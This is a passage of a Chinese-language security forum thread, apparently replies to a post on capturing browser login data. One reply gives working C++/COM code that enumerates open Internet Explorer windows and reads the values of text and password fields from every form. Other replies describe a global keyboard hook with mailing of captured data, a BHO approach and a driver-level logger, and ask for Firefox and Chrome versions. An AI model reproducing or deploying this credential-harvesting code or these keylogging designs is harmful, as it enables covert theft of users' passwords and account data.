能力值:
( LV2,RANK:10 )
|
-
-
2 楼
支持哦,不一样的技术。我之前做过一个全局的键盘钩子,不过数据要采集者自己分析。
没有专门针对某程序,不过可以加特定的代码让它只针对特定进程实现,另外,可以吧采集结果发到指定邮箱也是必要功能。
避免广告嫌疑,用“Rattail老鼠尾巴”在google搜索就能看到喽。
|
能力值:
( LV5,RANK:70 )
|
-
-
3 楼
顶一个~~~
|
能力值:
( LV2,RANK:10 )
|
-
-
4 楼
WM_HTML_GETOBJECT
|
能力值:
( LV2,RANK:10 )
|
-
-
5 楼
如果不是IE的话,比如说360 火狐 能不能记录?
|
能力值:
( LV2,RANK:10 )
|
-
-
6 楼
这个也要标记一下。
|
能力值:
( LV3,RANK:30 )
|
-
-
7 楼
只能记IE内核的
|
能力值:
( LV2,RANK:10 )
|
-
-
8 楼
ding
|
能力值:
( LV12,RANK:250 )
|
-
-
9 楼
希望楼主爆个火狐或chrome的
|
能力值:
( LV2,RANK:10 )
|
-
-
10 楼
很强大 标记以下
|
能力值:
( LV3,RANK:30 )
|
-
-
11 楼
期待楼主出火狐、chrome的
|
能力值:
( LV3,RANK:30 )
|
-
-
12 楼
VARIANT id, index;
CComPtr<IDispatch> spDispatch;
CComQIPtr<IHTMLDocument2, &IID_IHTMLDocument2> pDoc2;
CComPtr<IHTMLElement> pElement;
CComPtr<IHTMLElementCollection> pElementCol;
CComPtr<IHTMLFormElement> pFormElement;
CComPtr<IHTMLInputTextElement> pInputElement;
// TODO: Add your control notification handler code here
int n = m_ctrlIE.GetItemCount();//GetCount();
for (int i = 0; i < n; i ++){
IWebBrowser2 *pBrowser = (IWebBrowser2 *)m_ctrlIE.GetItemData(i);
if (pBrowser){
pBrowser->Release();
}
}
m_ctrlIE.DeleteAllItems();
if (m_spSHWinds){
int n = m_spSHWinds->GetCount();
for (int i = 0; i < n; i++){
_variant_t v = (long)i;
IDispatchPtr spDisp = m_spSHWinds->Item(v);
SHDocVw::IWebBrowser2Ptr spBrowser(spDisp); if (spBrowser){
if (SUCCEEDED(spBrowser->get_Document( &spDispatch)))
pDoc2 = spDispatch;
if(pDoc2!=NULL)
{
{
if (SUCCEEDED(pDoc2->get_forms(&pElementCol)))
{
// AfxMessageBox("IHTMLElementCollection");
long p=0;
if(SUCCEEDED(pElementCol->get_length(&p)))
if(p!=0)
{
// AfxMessageBox("1");
for(long i=0;i<=(p-1);i++)
{
V_VT(&id) = VT_I4;
V_I4(&id) = i;
V_VT(&index) = VT_I4;
V_I4(&index) = 0;
if(SUCCEEDED(pElementCol->item(id,index, &spDispatch)))
// AfxMessageBox("2");
if(SUCCEEDED(spDispatch->QueryInterface(IID_IHTMLFormElement,(void**)&pFormElement)))
{
// AfxMessageBox("IHTMLFormElement");
long q=0;
if(SUCCEEDED(pFormElement->get_length(&q)))
for(long j=0;j<=(q-1);j++)
{
V_VT(&id) = VT_I4;
V_I4(&id) = j;
V_VT(&index) = VT_I4;
V_I4(&index) = 0;
if(SUCCEEDED(pFormElement->item(id,index, &spDispatch)))
if(SUCCEEDED(spDispatch->QueryInterface(IID_IHTMLInputTextElement,(void**)&pInputElement)))
{
//AfxMessageBox("IHTMLInputTextElement");
CComBSTR value;
CComBSTR type;
pInputElement->get_type(&type);
CString strtype(type);
strtype.MakeUpper();
if(strtype.Find("TEXT")!=-1)
{
pInputElement->get_value(&value);
CString str(value);
if(!str.IsEmpty())
m_ctrlIE.InsertItem(0, _bstr_t(value)+_bstr_t(" 【USER】"));
}
else if(strtype.Find("PASSWORD")!=-1)
{
pInputElement->get_value(&value);
CString str(value);
if(!str.IsEmpty())
m_ctrlIE.InsertItem(0, _bstr_t(value) + _bstr_t(" 【****】"));
}
}
}
}
}
}
}
}
}
// _bstr_t bsName = spBrowser->GetLocationName(); //窗口名称
// int nPos = m_ctrlIE.InsertItem(0, bsName);
// spBrowser->AddRef();
// void * pData = spBrowser;
// m_ctrlIE.SetItemData(nPos, (DWORD)(pData));
}
}
}
|
能力值:
( LV2,RANK:10 )
|
-
-
13 楼
支持一下 mark
|
能力值:
( LV2,RANK:10 )
|
-
-
14 楼
用了BHO,这个功能自然不在话下。
|
能力值:
( LV5,RANK:60 )
|
-
-
15 楼
以前写过一个带驱动的,啥都能记录的,只在xp下能用。
|
能力值:
( LV2,RANK:10 )
|
-
-
16 楼
好强大的样子,mark一下
|
能力值:
( LV2,RANK:10 )
|
-
-
17 楼
如果能开源就更好了,技术交流嘛
|
|
|